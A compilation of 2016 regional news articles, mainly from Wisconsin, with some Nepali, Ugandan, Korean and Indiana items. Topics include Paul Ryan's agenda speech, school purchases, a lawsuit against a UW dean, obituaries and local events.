The goal of the open house is to raise the communitys awareness of the House of Healing during the crucial time, according to Kroll.

We want people in the community to know were here and know what services are available, she said. We want to make sure people know that the house is here.

Who knows? The seminars on Saturday may even convince Kroll to try acupuncture for her migraines.

Im excited to try it, Kroll said. Its a more holistic process. Theyre not going to just stick needles in you.
RACINE  Paul Ryan gave a Racine Area Manufacturers and Commerce audience Thursday night a glimpse of where he wants to steer the House.

In a 12-minute speech to nearly 500 people at Festival Hall, 5 Fifth St., the House speaker laid out the GOP agenda, calling for a revamped health care system, solutions for poverty and reduced government.

He emphasized stronger national security, noting that he was fresh off a trip to the Middle East.

And he said tax reform will be a central goal, arguing U.S. tax rates put the countrys businesses at a competitive disadvantage with other countries.

We are going to roll out very comprehensive tax reform to get these rates down across the board  for all businesses, not just the big corporations like some people have argued, said Ryan, R-Wis., whose district encompasses Racine County.

That is going to be one of the front-and-center pieces of our agenda we are going to roll out.

Proposition party

Donning a purple tie in honor of Prince, the music icon who was found dead earlier in the day, Ryans speech to RAMAC came six months after he ascended to the Houses top spot.

The new speaker finds himself in a divided government, with Democrats in control of the White House at least until January. But repeating his oft-stated mantra, Ryan said Republicans must become a proposition party and not just an opposition party.

If you dont like the direction that something is going, you have to offer an alternative, he said. So thats what were in the middle of doing.

Ryan also touted legislative accomplishments at the end of last year, including a highway bill and a re-write of education laws.

One topic he avoided: the 2016 presidential election.

The nine-term Congressman has been in the spotlight after many predicted he could emerge as the Republican nominee in a contested convention. Ryan strongly denounced the talk in a press conference last week and again Tuesday in a bit on The Late Show with Stephen Colbert.

Democrats respond

RAMAC President Jim Ladwig introduced Ryan as a beer and a burger guy  someone with whom you can have a beer and a burger and talk Packers and hunting.

Theres so much more to him than the public persona, Ladwig said.

A spokesman for the state Democratic Party, meanwhile, responded that Ryan is still grappling with the same right-wing extremists whove obstructed progress for the last seven years.

Its clear he cant get his own House in order, spokesman Brandon Weathersby said. Instead of pursuing the repeal of healthcare for millions or giving huge tax breaks to the wealthy, the best thing Ryan could do for the people of Racine is stand up to the most extreme forces of his own party.
RACINE  Racine Unified schools will soon see new math instructional materials in classes from kindergarten to Algebra I, Algebra II and Geometry in high schools.

That comes following a vote this week when the Racine Unified School Board approved spending about $1.2 million for the material and associated services, one of several purchases the board approved, including furniture for new schools.

Rosalie Daca, Unifieds chief academic officer, explained during the Monday meeting that a committee of teachers has been working for two years to select the new curriculum as part of a regular review cycle. The resources blend traditional textbooks and workbooks with online materials as well as professional development, according to administrators.

Daca noted that the new, Common Core-aligned curriculum is alive as well as energizing and engaging for our kids.

Its not your typical textbook where you open to chapter one and do this next thing, Daca said. Our teachers are going to have a number of resources at their disposal that are really going to change how math is taught in our district.

The elementary curriculum comes from Origo Education for about $403,000 and the middle and high school curricula come from Houghton Mifflin Harcourt for about $284,000 and $515,000 respectively, according to district documents. The contract for the new curriculum will reportedly be of use for three years with an option to extend it for another three years.

New furniture

To prepare for the opening of three new school buildings this fall, the Unified board this week also approved up to $1.37 million in spending for new furniture and equipment.

The new supplies will go to Gifford K-8 and Olympia Brown Elementary in Caledonia as well as to Knapp Elementary in Racine. Those three schools are nearing the end of major construction projects: new buildings in the case of Olympia Brown and Knapp; and an addition and renovation for Gifford. All three are on schedule to be ready for next school year in September.

The purchases were approved by the Unified Board during a meeting at the districts administrative campus, 3109 Mount Pleasant St., Monday night.

The bulk of the expense  up to $1.07 million  will go toward furniture for the three new schools. The board approved a bid from Henricksen, a furniture vendor based in the Chicago area with an office in Brookfield.

Beyond basic classroom and office furniture for the schools, the price includes a $25,000 contingency for specialty items for art or music rooms as well as about $146,000 for the libraries at Olympia Brown and Knapp, according to district documents. Expenses for furnishing Giffords library will come later.

Unified Chief Operations Officer Dave Hazen explained at the meeting that some newer furniture at the old buildings will be carried over to the new buildings and some will be handed down to other schools, but some older, worn items will be thrown away.

The three new schools will also get 150 new interactive projectors for classrooms for about $305,000, which includes installation services from Tierney Brothers, Inc., according to the district documents. The money for this purchase comes from savings in this years budget, according to administrators.
When Wisconsin Gov. Scott Walker dropped another strong hint this week that he's planning to seek re-election in 2018, the state Democratic Party wasted no time. The party sent not one, but two fundraising solicitations, urging supporters to donate in order to "stop Scott Walker before he wins a third term."

But beating Walker in Wisconsin is easier said than done. And it hasn't been done in a very long time.

In an interview with the conservative website TownHall, Walker was asked if he is "inclined" to run for a third term.

"Yeah," Walker replied. "I am, without a doubt. I love what I do."

Walker has indicated several times since ending his presidential campaign that he'd like to run for governor again, but has said he won't announce an official decision until after the November presidential election.

With all signs pointing to a Walker re-election bid, Democrats are already mounting their fight against the governor who won three statewide elections in four years.

"I think we point out how working class people all over the state of Wisconsin have been harmed by the policies of the Republican Party," said state party chairwoman Martha Laning when asked how the party intends to stop Walker. "Gov. Walker came in and made a lot of promises. Ten thousand new companies were going to be here. We were going to add 250,000 jobs. All of his promises have failed."

Laning also cited the more than 10,000 layoff notices issued in 2015, the highest number since 2010, and well-documented troubles with Walker's flagship jobs agency, as arguments for new leadership.

Walker, when hit with those criticisms, has touted the state's labor participation rate, which reached a 20-year high in January 2015. He also frequently mentions Wisconsin's unemployment rate, which is lower than the national average.

"Its like an alcoholic. To get over your alcoholism, you have to recognize the problem. And instead of recognizing the problem, he just spins the issue," said Assembly Minority Leader Peter Barca, D-Kenosha.

Since Walker returned to Wisconsin from his short-lived presidential bid, his approval ratings have lagged. Among registered voters, 43 percent approve of the governor's job performance, according to a Marquette University Law School poll released late last month.

That was the first time since the end of his presidential campaign that the number topped 40 percent.

"In the middle of (Walker's signature legislation) Act 10 they were very low, but they went back up then a couple months later," Barca said. "This has been a sustained period ever since he was in the middle of his presidential run and ended it. I think people really noticed the fact that hes not for us, that hes in it for himself, when he ran for president. But subsequent to that, I think ... the statistics about the performance of our state vis-a-vis other states is just abysmal."

Laning said she's not worried about the two years Walker has to regain ground in the polls. His presidential campaign, she said, showed Walker is "all talk  he can't deliver."

If Walker's poll numbers don't rebound, Barca said, a Democrat might be better positioned to run against the incumbent governor than another Republican candidate.

In February  the last time the Marquette Poll asked this question  61 percent of registered voters said they don't want the governor to seek another term. But even then, Walker was unfazed.

He argued that despite widespread backlash to his 2011 battle with labor unions, public opinion swung back in his favor by the time voters went to the polls in 2012 and 2014.

"We just persevere going forward," Walker said in February. "For us, I think what weve found when we ultimately prevailed in the 2012 recall election is because people, despite what they were seeing on TV ads and maybe they were hearing about some of the stories out there, eventually they saw the reforms were working."

Laning said she thinks predictions of a tough state budget in 2017 will make it difficult for Walker to recover in time for the 2018 election.

She declined to name names, but said the party has "a lot of really great candidates who are thinking about running for governor."

Both Laning and Barca dismissed suggestions that Wisconsin Democrats lack the deep bench cultivated by their Republican counterparts.

A Democratic source listed a handful of names that have already been floated for this election and in years past: Dane County Executive Joe Parisi, Exact Sciences CEO Kevin Conroy, U.S. Rep. Ron Kind and state Senate Minority Leader Jennifer Shilling.

Rather than recruiting candidates, Laning said her job is to offer support, information and resources to anyone who is considering a run.

Democrats need a candidate with "the skills to bring people together," Laning said.

"I grew up in a Wisconsin that everybody cared about each other. Republicans and Democrats could sit down at a table and work together. Scott Walker is the epitome of the person who has destroyed that," Laning said. "Hes pitted neighbor against neighbor. I think people really want to come back to where we all work together and we work to make sure everybody has an opportunity to succeed and have an economy that works for everyone."

Barca suggested he's still not convinced Walker is really going to run in 2018, noting that Walker has presidential campaign debt to pay off and can generally accomplish more if he's not perceived as a lame duck.

But now that Walker is a two-term incumbent, Barca said, it's harder for him to blame any of the state's issues on previous administrations.

"I've never seen a person that doesnt even allow the buck to slow down, much less to stop in his office," Barca said. "At some point, people start saying, 'Wait a second here, pal, youve been in office for a significant period of time, and youre the one responsible for the performance of the state, and all major indicators, they just do not look rosy at all."
In April 2013, four days after her mother was struck and killed by a car driven by former Lutheran bishop Bruce Burnside, UW-Madison student Megan Mengelt received an email from a UW administrator she had never met, asking if she needed help.

What College of Letters and Science assistant dean Tori Richardson didnt tell Mengelt, according to a lawsuit filed earlier this month, was that he had been at the other end of a text message conversation with Burnside as he was driving, shortly before Burnside struck and killed Mengelts mother, Maureen Mengelt, in Sun Prairie on April 7, 2013.

Unaware of that fact, Mengelt said, she and Richardson developed a counseling relationship, which Mengelt believed to be confidential and trusting, during which Richardson sought information about the ongoing prosecution of Burnside and a potential civil lawsuit against him.

It wasnt until much later, the lawsuit states, in January 2015, that Mengelts family first learned that Richardson was the person who was exchanging text messages with Burnside before he struck and killed Maureen Mengelt as she was taking a training run.

The lawsuit, filed April 5 in Dane County Circuit Court, accuses Richardson of misrepresenting himself throughout the counseling relationship, causing Mengelt to disclose information that she otherwise would not have told him. The discovery of Richardsons true role in her mothers death, the lawsuit states, caused severe and permanent emotional distress to Mengelt.

According to the lawsuit, Richardsons April 11, 2013, email offered his own services to Mengelt, or those of an academic adviser already assigned to her. She responded on April 14, 2013, thanking him and telling Richardson that she was going through the most difficult experience of her life. The next day, Richardson responded that Mengelt should not hesitate to contact him personally, and that he would intervene on her behalf with her instructors.

From there, the two had several meetings, the lawsuit states, leading to a trusting counseling relationship.

Burnside, 62, who at the time of the crash was bishop of the South-Central Synod of Wisconsin of the Evangelical Lutheran Church of America, pleaded guilty in May 2014 to second-degree reckless homicide and drunken driving. He was later sentenced to 10 years in prison, followed by five years of extended supervision. He has appealed the length of the sentence.

Burnsides blood alcohol concentration was 0.12 percent more than two hours after the crash. Distractions while driving, including sending voice-generated text messages and reading responses to them, and fumbling with a GPS unit, have also been cited as factors in the crash.

At the time of the crash, Burnside was headed to a function at a church in Sun Prairie.

In a statement, UW-Madison spokesman John Lucas said university officials first learned of some of the allegations in Mengelts lawsuit in January 2015. An outside investigator found no evidence that Richardson inappropriately shared student records, Lucas said.

However, it was determined that while his actions were within his job duties, Richardsons conduct was not in line with our expectations for employees, Lucas said, and he was suspended without pay for 30 days beginning last May for not meeting the universitys professional standards.

Because the alleged conduct occurred on the job, Richardson will be represented in the case by the state Department of Justice, Lucas said.

Richardson did not return a phone message or an email seeking comment Thursday. DOJ spokesman Johnny Koremenos also did not respond to an email inquiry.

The story was first reported by Vice Media web channel Broadly.

An offer of help

After the criminal case against Burnside was finished, the Mengelt family sued Burnside, the ELCA and the synod, along with their insurers. The case is set for a trial in July before Dane County Circuit Judge Richard Niess.

According to a deposition Richardson gave for that lawsuit, taken on March 2 but filed in court on April 1, Richardson said he contacted Mengelt to let her know that his office was available should she need help.

Richardson said he did so after asking his boss, Letters and Science undergraduate services director Christopher Lee, whether it would be appropriate for him to personally reach out to Mengelt, knowing there were others in the office who also could do it. But he admitted he did not tell Lee that he had been exchanging text messages with Burnside before the crash.

Richardson also said he never told Mengelt that he was acquainted with Burnside or that he was texting with Burnside before the crash.

Asked if he ever considered the emotional consequences to Mengelt should she ever find out, Richardson said he hadnt.

When I met with her in April, I was more concerned about her and her  that she was okay after this horrible situation, Richardson said. He said he never expected to see her again after initially meeting with her in April 2013. But he saw her twice more, in September and November 2013, both times when she wanted to drop a class past the deadline.

By January 2014, Richardson said, he knew that the police had identified him as the person with whom Burnside was exchanging text messages. Even after that point, he said, he exchanged emails with Mengelt, having to do with her use of a university facility after she had taken a break from school. He said hes had no intentional contact with her since then, although he said he once accidentally included her in a group email.

Richardson said in his deposition that he had met Burnside for the first time at a birthday party in Paoli only two days before the crash. From there, he said, they exchanged hundreds of text messages and had planned to get together at Burnsides house on the night of April 7, 2013.

Richardson said he learned about the crash on the evening news.

During the text message exchange before the crash, Burnside told Richardson, Im on my way to Sun Prairie. Later, Richardson wrote to Burnside, I do hope youre not driving and texting. You will need to be scolded if this is the case.

Later, Richardson wrote to Burnside, You still havent shared if you are driving? ;)

Burnside texted at another point, Ask everything and anything and I will answer honestly. I am driving to Sun Prairie and almost there, so I wont be responding actually. Im really racing against time.

In a deposition for the civil case, taken on March 17 and filed in court on April 1, Burnside testified that Richardson visited him once after the crash while Burnside was undergoing alcohol treatment, and two or three times at home.

He said Richardson barely mentioned the Mengelts or any information he had gleaned from Megan Mengelt.

He told me one time that he had been contacted by the Sun Prairie police and they  but thats all, Burnside said. But there was never any conversation about the Mengelts, no.

[Editor's note: This story has been updated to reflect additional information provided by the UW-Madison. University officials first learned of some of the allegations against Tori Richardson in January 2015, and his suspension began in May of that year.]
Wisconsin In Brief

MILWAUKEE

Teachers aide arrested, accused of attacking student

A teachers aide at a Milwaukee high school has been arrested after he was captured on cellphone video pushing a student to the floor and grabbing him by the throat.

The 17-second video taken at Bay View High School doesnt show what led up to the confrontation Wednesday, but it shows the 39-year-old aide shoving the 14-year-old boy into some classroom furniture and then holding him to the floor by the neck.

Milwaukee Public Schools spokeswoman Denise Callaway says police were called to the school as soon as administrators learned about the incident. The student was taken to a hospital for treatment of minor injuries.

MADISON

Democrats submit names for new elections, ethics boards

Nominees for the final four spots on new partisan commissions to oversee elections and ethics laws in Wisconsin have been delivered to Gov. Scott Walker.

Democratic legislative leaders on Thursday submitted three former judges to serve on the Ethics Commission and three former county clerks for the Elections Commission. Republicans had previously submitted their picks.

Once Walker announces his four selections, all 12 of the appointments to the commissions will have been made.

The new partisan commissions were created by the Legislature to replace the nonpartisan Government Accountability Board beginning in July.

Democratic picks for the Ethics Commission are former judges Bonnie Gordon, Frederic Fleishauer and Robert Kinney.

Picks for the Elections Commission are former clerks Stephen Pickett, Julie Glancey and Carol Schumacher.

MADISON

Arrest of black student sparks University of Wisconsin rally

Hundreds of demonstrators were rallying at the University of Wisconsin-Madison to protest the arrest of a black student accused of spraying provocative graffiti messages around campus.

The Wisconsin State Journal reports Thursday that students and faculty gathered at the statue of Abraham Lincoln and pasted a list of demands that included community control of campus police.

They later marched to occupy a library and shut down nearby intersections.

The protests come after police accused a black student of doing $4,000 worth of damage to university buildings and arrested him during class.

One note hes accused of spraying reads, The devil iz a white man,God. Protesters say the collection of graffiti represents anti-racist artwork.

MADISON

Report: 41,000 lost food stamps in Wisconsin last year

A new report from Gov. Scott Walkers administration says more than 41,000 people lost access to food stamps in the first year of a new state law requiring them to seek employment.

The state Department of Health Services report also shows that nearly 12,000 people found jobs thanks to a new training program for those on the food stamp program.

The Wisconsin State Journal reports Thursday that Gov. Scott Walker is praising the law backed by Republicans that he signed. Walker says what many critics dont account for is that many people find work on their own when told of the laws requirements.

DHS spokeswoman Claire Yunker says the department does not track how many of those who are eligible for the program found work on their own.

 Associated Press
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ADB urges strict action against slow contractors

The Asian Development Bank (ADB) has urged the government to adopt stringent contract discipline by initiating concrete action against non-performing contractors and consultants as their weak performance has resulted in slow budget implementation and low disbursement.
Agni Incorporated rolls out Mahindra TUV 300

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Baidya dragging his feet to reunite with mother party

The unification process between the CPN-Revolutionary led by Mohan Baidya and the UCPN (Maoist) suffers a setback with Baidya still not prepared ideologically to merge with the mother party.
Barack Obama visit: UK more effective at fighting terror inside EU

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British Council awards outstanding performers

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Cambridge International Examinations opens new avenues for higher education

Cambridge International Examinations prepares school students for life, helping them develop an informed curiosity and a lasting passion for learning.
Cambridge prioritises quality over numbers of students

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Journo Kanak Mani Dixit in CIAA custody

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Deuba, Swaraj discuss Nepal political situation

Nepali Congress President and former prime minister Sher Bahadur Deuba on Thursday met Indian Minister for External Affairs Sushma Swaraj in New Delhi and discussed Nepals political situation and post-quake reconstruction efforts among other issues.
Donald Trump 'promises to change image'

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Earthquake anniversary: Barpak, the epicentre, still in ruins

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Gathabandhan briefs foreign diplomats on statute issues

Madhesi and Janajati forces are drumming up international support for their identity movement.
Islamic State 'forced out' of key Libyan city of Derna

Militants from so-called Islamic State (IS) have been pushed out of the key eastern city of Derna, a rival Islamist group has said.
Loans issued to quake survivors in Hetauda

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Man contributes over Rs 4 million for development back home

A man from local Histan village has contributed his earnings of four decades abroad on philanthropic works back home.
Mexico President Pena Nieto proposes relaxing marijuana laws

Mexican President Enrique Pena Nieto has proposed legalising marijuana for medical purposes and easing limits for personal use of the drug.
Nabil Bank launches three new products

Nabil Bank launched three new productsNabil SmartBank, Nabil Share Loan and Share Khataamid a programme here on Thursday.
Only 1,700 gas depots certified

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Post-Paris climate talks

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Randy Lerner: Aston Villa owner takes blame for relegation

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Record turnout at UN boosts climate deal

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Ncell Deal: TeliaSonera drops a hint it wont pay tax

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Textbook shortage hits students in many districts

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UML, UCPN (Maoist) against communist spirit: Bhattarai

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WFP begins programme for vulnerable groups

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Work starts to buy homes for 3 missions abroad

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Killeen, TX (76540)

Today

Cloudy this evening with showers after midnight. Low 72F. Winds S at 15 to 25 mph. Chance of rain 40%..

Tonight

Cloudy this evening with showers after midnight. Low 72F. Winds S at 15 to 25 mph. Chance of rain 40%.
Yes, its hard to to tell when one enters the city limits

Yes, they will make the city more inviting

Maybe ... does it really matter?

No, the signs in place are fine

No, it would be a waste of taxpayer dollars

Vote

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The General Court Martial Chairman Maj Gen. Levi Karuhanga has died.

This has been confirmed by the UPDF spokesperson Lt Col Paddy Ankunda who describes his passing as so sad.

According to the minister in charge of the presidency Frank Tumwebaze, Maj Gen Karuhanga died shortly after he returned from India where he had been taken for treatment.

Tumwebaze describes the late Karuhanga as a neigbour and friend.

Maj. Gen Karuhanga was appointed Chairman of the court martial in June 2014, replacing Brig Moses Ddiba Ssentongo.

The late Karuhanga had a long serving history in the army, among which include commander of forces in Liberia in 1994 alongside Lieutenant General, Ivan Koreta and General Edward Katumba Wamala.

In 1998, he was appointed Deputy Commander 3rd Division before being made the First Division Commander in 2001.

He was also the first Commander of AMISON in Somalia, working from February 14, 2007 when he was appointed to March 2008 when he was recalled and succeeded by Maj. General Francis Okello.

At the time of his death, he was handling Gen. David Sejusas case in which he is accused of among other things; absence from duty without permission.

Story By Ali Mivule
Embattled former Coordinator of Intelligence Services, Gen David Sejusa has paid glowing tribute to fallen General Court Martial Chairman, Maj. Gen Levi Karuhanga.

Maj Gen Karuhanga died yesterday after a short illness.

Gen. Sejusa who says he had a sound working relationship with the late Karuhanga, has praised him as a man of high ethical and moral values.

At the time of his death, the late Karuhanga was handling a case against Gen David Sejusa in which he is accused of among other offenses; being absent from duty without permission.

The Special Representative of the Chairperson of the African Union Commission for Somalia and the entire AMISOM family has described the death of Major General Levi Karuhanga, as a great blow to the regions security forces.

In a press statement issued on Friday afternoon, Ambassador Francisco Madeira says Maj Gen. Karuhanga, the first Force Commander of AMISOM shaped the way the ensuing commanders have been able to fulfill their duties.

He inspired AMISOMs decisive move towards defeating Al-Shabaab and liberating the city of Mogadishu.

He adds that subsequent commanders have since been taking Gen. Levi Karuhangas method of work as a reference point in their operations.

Ambassador Madeira says General Karuhangas contribution to the stabilisation of Somalia is highly commendable and will always be a reference point and source of inspiration.

Meanwhile, the UPDF spokesperson Lt Col Paddy Ankunda tells K-FM that a detailed funeral program will be made public this afternoon.

Story By Moses Kyeyune
Work at the General Court Martial will remain paralysed for a while following the death of its chairman, Maj Gen Levi Karuhanga who died yesterday after a short illness.

Karuhanga was first admitted to Nakasero hospital on March 18, allegedly suffering from stress-related problems and was later

flawn to India for treatment.

His demise means that the court cannot convene because the chairman has no deputy and none of the other 11 court members can legally chair court.

Speaking to KFM, the General Court Martial Spokesperson Capt Edward Birungi says at any single sitting, seven members form the quorum and the remaining four can be substitutes if any of the seven is absent.

He therefore says court business has to wait until another chairman is appointed by the president.

Some of the major pending cases include the one against the six former aides of Gen David Sejusa, who are accused of recruiting fellow UPDF soldiers to join the general in fighting the ruling NRM regime.

Another case involves 13 rebel suspects, including a woman, charged with attacking Kabamba military barracks allegedly to secure guns to overthrow the government.

Meanwhile the army says it is yet to receive a postmortem report. A night vigil is to be held tonight at the deceaseds home in Ntinda, while a requiem service is to be held at St Lukes Church Ntinda before burial to take place in Bushenyi on Sunday.
The mysterious disappearance of the official vehicle of former Prime Minister Amama Mbabazi continues to raise eyebrows.

The black Pajero registration number UG 0534Z has been in the possession of the former premier since he was sacked in 2014.

Sources close to Mbabazi have intimated that the car was stealthily taken from one of his drivers and that the former premier is considering challenging the action through court.

Although government is still reluctant to comment on the matter, Media Centre Deputy Executive Director Col Shaban Bantariza says that Mbabazi has no claim over the car since he already left office.

The laws of Uganda provide for generous benefits such as; a fully furnished house, chauffeur-driven cars, health insurance, and security guards in addition to, an education allowance for up to four biological children.

This is not the first such case involving former leaders emoluments, former Vice President Prof Gilbert Bukenya also cried foul over governments failure to accord him his legitimate emoluments.

Story By Moses Kyeyune
North Korea poses a more significant threat to the United States than Iran in the near term, and more priorities should be given to defending against missile threats from the communist nation, the incoming U.S. Northern Command chief said Thursday.

Gen. Lori Robinson, nominated to be commander of the U.S. Northern Command and North American Aerospace Defense Command, made the assessment in written testimony for a Senate Armed Services Committee confirmation hearing. She said the North's "ability to project power grows while our ability to predict its intent wanes."

"In the near term, North Korea poses a more significant threat and I believe priorities should be focused on closing those discrimination gaps," Robinson said in response to a question about the necessity of a long-range discrimination radar to defend against threats from Iran.

"The long-range discrimination radar slated for Clear, AK is a good first step in doing just that," she said, referring to an Alaska Air National Guard radar station designed to detect incoming intercontinental ballistic missiles and submarine-launched ballistic missiles.

She also stressed the importance of making sure the U.S. missile defense system works.

"We must ensure that our ballistic missile defense systems remain operationally effective, especially in light of the DPRK's continued ballistic missile capability development," Robinson said.

"If confirmed, I will continue to represent the warfighting community with the Missile Defense Agency to execute their challenging test campaign that enables the Department of Defense to continue to strengthen mission capabilities," she said.

Robinson, commander of Pacific Air Forces, was nominated last month to succeed Adm. William Gortney as chief of the Colorado-based Northern Command, charged with homeland defense. (Yonhap)
KENDALLVILLE  It was overwhelming.

Thats how retiring East Noble Theatre director and high school teacher Craig Munk described his appearance with his wife, Karen, and East Noble Theatre alumnus Rick Criswell on Today with Kathie Lee & Hoda Thursday morning at the NBC studios in New York City.

Munk, his wife and Criswell spoke by phone with KPC Media Group about the experience shortly after the show.

Everyone was so kind, and it was like theyve known you forever, Munk said.

Criswell, a 1983 East Noble High School graduate who manages a theater in New York, wrote a letter to the show recommending the Munks for the segment Everyone Has a Story. He explained how Craig Munk impacted his life and the Kendallville community with professionally produced theater shows for nearly 50 years.

The Munks received the invitation to be on the show with Criswell about two weeks ago and flew to New York Wednesday.

I was nervous, Munk said when asked how he felt prior to going before the TV cameras. Ive never been on national TV.

They had to go through makeup before their appearance. What was really nice was to experience all that goes on, the makeup, hair, said Karen Munk, who has choreographed and been in charge of costumes and makeup for East Noble Theatre productions.

At East Noble High School, many of Munks students gathered in the media center to watch the show, including cast members of the Munks final East Noble Theatre production, How to Succeed in Business Without Really Trying, which opens next week.

In other classrooms, TV monitors were tuned to the show.

Hosts Kathie Lee Gifford and Hoda Kotb teased viewers during the first part of the show about the upcoming segment with the Munks.

Theyre an amazing couple for what theyve done for many students, Kotb said before a commercial break.

Theyve inspired many students to follow their dreams, she said before another commercial break. Gifford then added, Youll love this.

The segment opened with photos of Munk, East Noble Theatre productions and student casts that were taken over the years, along with photos of Kendallville and a voice-over of Criswell, reading his letter.

Criswell described how Munk brought professional theater productions to a small, rural Indiana community, stating, He brought an energy to the classroom and stage, and never settled for mediocrity.

Criswell also explained how the Munks changed his life and the lives of many students by allowing them to be themselves. I think I spent more time in four years with them and that stage, you know, during high school than I did with my own family.

Everything that they taught me was, you know, doing the best that you can and being who you want to be, he told Gifford and Kotb.

When Munk was asked by Gifford if he always wanted to be a theater teacher, he said he started out as an art teacher and just slid right into the directing part, but I think probably my life, yeah, thats what I knew I would do.

When Kotb asked Karen Munk if she and her husband realized the impact they were having on students, she said students probably didnt realize the impact theyve had on her and her husband. We see them grow and become the person they are.

Karen Munk said Kotb was inspired by the East Noble Theatre photos. She could not believe how professional our shows looked.

Today offered a surprise for the Munks and Criswell with the performance of a song tribute titled Your Passion.

It was a complete surprise. The lyrics were spot-on. They changed the whole community, Criswell said.

The lyrics were beautiful, Munk said.

Hollywood composer David Friedman wrote Your Passion, and Broadway star A.J. Shively sang it for the Munks. Friedman accompanied Shively on the piano.

Munk and Criswell wiped tears from their eyes before a commercial break.

East Noble High School office assistant Marilyn Freiburger was in the schools media center watching the program with students.

There were a lot of tears. The kids seemed very proud, she said.

The Munks and Criswell received recorded, autographed copies of Your Passion and copies of the shows script. Thursday night, they were expected to enjoy dinner at Frankie & Johnnies, one of Giffords favorite restaurants, and attend a Broadway performance of the musical Bright Star, starring Shively.

They also received an invitation to go back stage to meet the cast.

Its been a whirlwind, Karen Munk said with a laugh.

They are expected to return to Kendallville today, and Munk will emcee his final East Noble prom Saturday. Monday, its back to school and final rehearsals for How to Succeed in Business Without Really Trying. The musical is scheduled to open Thursday.

Ive got a show next week, Munk said.

Munks on Today

The Munks appearance on Today with Kathie Lee & Hoda can be viewed at today.com/klgandhoda.
Kendallville, IN (46755)

Today

Some clouds. Low near 55F. Winds SSE at 5 to 10 mph..

Tonight

Some clouds. Low near 55F. Winds SSE at 5 to 10 mph.
LAKE MILLS, Wis./ARCADIA  Debbie Haines, 58, of Lake Mills, formerly of Arcadia died April 19, 2016, at her home.

Debbie was born Feb. 14, 1958, in Arcadia, to Joe and Pat (Brogan) Haines.

Debbie graduated from Arcadia High School in 1976, attended UW-Eau Claire, and eventually graduated from UW-Whitewater with a degree in human resources. While in high school Debbie played the flute, piccolo and baritone sax. Being a member of the Arcadia High School band she was fortunate to be in the Drum and Fife corps. Music was very important to her. She later was a member of the Hand Bell Choir at Trinity Lutheran Church in Lake Mills. On Dec. 26, 1988, Debbie married Steve Nass.

She was a core member of the Big Chill, a group of important friends who enjoyed getting together several times a year. Debbie had a passion for traveling, the outdoors and mostly for her family.

Debbie is survived by her husband of 28 years, Steve Nass of Lake Mills; her son, Clayton Nass of Madison; parents; Joe and Pat Haines of Arcadia; sisters, Diane Kamish of Waconi, Minn., Sue (Steve) Wozney of Independence; brothers, Mike (Melissa) Haines of Holmen, Chuck (Cindy) Haines of Arcadia, Joe (Leanne) Haines of Arcadia; father-in-law, Don Nass of Jefferson, Wis.; 14 nieces and nephews; aunts, uncles, cousins and brother and sister-n-law.

Debbies family would like to thank the University of Wisconsin Carbone Cancer Center for their care and support. Debbie continues to give back, donating her brain for research to help future victims of brain cancer.

Memorial may be given in memory of Debbie Haines to: University of Wisconsin Carbone Cancer Center, Neuro Center Fund, att. Ian Robins MD, 600 Highland Ave. J3/2, Madison, Wis., 53792-6164; Arcadia High School Music Department/Band, 756 Raider Drive, Arcadia, Wis., 54612.

Funeral services will be at 11 a.m. Tuesday, April 26, at Trinity Lutheran Church, 346 W. Pine St., Lake Mills. Friends may call from 4 to 8 p.m. Monday, April 25, at Trinity Lutheran Church. They may also call from 9 to 11 a.m. Tuesday at the church. Private burial will be in Union Cemetery in Jefferson.

Schneider Michaelis Funeral Home, LLC, 900 W. Racine, Jefferson, Wis., 920-674-3960. Online condolences may be sent to www.scheidermichaelisfuneralhome.com.
Warning to people who plan to attend Listen to Your Mother April 30 in La Crosse: You might imagine that you are hearing your moms voice  for better or worse  reverberate throughout Lyche Theatre.

We have a lot of humor  definitely a lot of laughs, promised Jess Witkins, organizer, lead director and producer of the show, who also will tell a mom story of her own life. And there are some serious ones, which is what we want.

We wanted a mixture so people to see themselves in the stories, said Witkins, a free-lance writer and blogger who said serious topics involve surviving abuse.

The dozen storytellers were pared down from the 40 who auditioned for the inaugural La Crosse show in what is a 6-year-old national phenomenon founded by Ann Imig of Madison. They will tell true stories about their mothers, the woman or man who raised them or other factual accounts related to motherhood.

Witkins was pleased about the number who auditioned, noting that 90 people tried out New York City, one of 40 other venues nationwide where Listen to Your Mother shows are taking place.

To get almost half of the New York turnout is great, she said, adding that those who will perform at 7:30 p.m. April 30 in the Lyche, at the Weber Center for the Performing Arts at 428 Front St. S., represent a diverse ethnic, gender and cultural mix.

The stories, from contestants ranging in age from 30 to 87, include stories of turning into your mother, crazy things mothers say and lessons you should or shouldnt have learned, said Witkins, a 30-year-old English graduate of the University of Wisconsin-La Crosse who also is digital media manager for SEVEN magazine.

Asked whether she has a favorite story in the show, other than her own, Witkins said, I cant pick a favorite. The cast already is calling me Simon Cowell, the brash former judge who created a reputation for ruthless berating of contestants on American Idol and other talent shows.

I really do love each story, she said. We didnt have one bad audition. Everybody was amazing.

That made for a difficult culling process, which was accomplished in part by deciding which to pick from some covering the same topic, such as adoption, she said.

Hopefully, the ones that werent chosen will bring their stories back. We hope they will reapply next year, Witkins said.

Molly Hilligoss, diversity and social justice advocate at the YWCA, also is on the production team and will tell her story. Also on the production team is Beth Erickson, owner and editor of Jobe Communications.

Ten percent of the proceeds from the $16-a-head show, which has a PG-13 audience recommendation, will go to the YWCA, Witkins said.

Witkins hopes to have another show next year, but she said she must reapply to LTYM.

I think we will get it, because its very rare that a city is one and done, she said.
STODDARD, Wis.  Despite compromise efforts to create more crossings, western Wisconsin sportsmen are angry over loss of access to Mississippi River caused by enforcement of a railroad trespassing law.

About 200 people turned out Thursday afternoon for two listening sessions held by Sen. Jennifer Shilling of La Crosse. Dozens of hunters, trappers and anglers complained they can no longer get to spots theyve gone for decades because of a 2006 change to state law that removed an exemption allowing people to walk directly across railroad tracks.

Its almost like that railroad track now is a fence, said Richard Jensen.

The Wisconsin Department of Natural Resources has identified at least 124 spots where shore access requires crossing tracks; a department memo said the law could be the largest loss of public access to public waters in the history of the state.

Richard Meyer of La Crescent, Minn., said the nearest crossing is sometimes as far as five miles from safe ice, making it virtually impossible for people with disabilities to fish during the winter. Meyer said he used to spend money fishing in Wisconsin  until last year.

This whole situation has damaged the states reputation and the railroads, he said. People are furious.

About 218 miles of BNSF Railways tracks separate most of Wisconsin from the Mississippi River and the 240,000-acre Upper Mississippi River National Wildlife and Fish Refuge. According to the Federal Railroad Administration, there are 212 public and private crossings, including 43 in the city of La Crosse.

Wisconsin Commissioner of Railroads Yash Wadhwa, said state and federal wildlife officials have identified 26 potential crossing sites to reach the refuge. The commissioners office will now study those to determine how many meet the criteria for a designated crossing.

